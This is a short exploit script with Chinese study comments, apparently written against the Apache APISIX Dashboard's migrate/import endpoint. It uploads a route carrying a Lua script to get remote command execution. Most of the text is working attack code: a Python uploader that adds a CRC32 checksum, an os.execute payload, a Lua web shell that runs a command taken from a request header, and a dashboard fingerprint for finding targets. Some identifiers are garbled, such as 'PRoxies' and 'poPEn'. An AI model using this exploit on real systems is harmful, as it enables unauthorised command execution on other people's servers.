git clone https://github.COM/apache/apisix-docker

import random, string, json, zlib, requests

"""
"script": "local file = io.poPEn(ngx.re.get_headers()['cmd'],'r') n local output = file:read('*all') n
file:close() n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce，来替换'cmd'部分来执行命令
"""

eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "os.execute('touch /tmp/mytest')",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


# 将数据进行checksum
def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="Big")


def import_apix(url, data):
    data = json.dumps(data).encode()  # 将数据进行转换为json存储到文件中，后面需要以文件上传
    checksum = calc_crc(data)  # 进行checksum ，然后添加到数据后面

    files = {"file": ("data", data + checksum, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, PRoxies=proxies, verify=False)
    # proxies=proxies 这里是通过post去发包，走代理proxies
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


"""
这里定义的proxies为本地代理，这样运行时候就能用burp抓包了
"""
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080"
}


# 生成一个随机路径
def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


if __name__ == '__main__':

    uri = random_str()
    print(uri)
    eval_config["Routes"][0]["uris"] = ["/" + uri]
    eval_config["Routes"][0]["name"] = uri
    print(eval_config, end='n')
    if import_apix('http://192.168.255.128:9000', eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

 "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') n local output = file:read('*all') n file:close() n ngx.say(output)",
           

title="Apache APISIX Dashboard"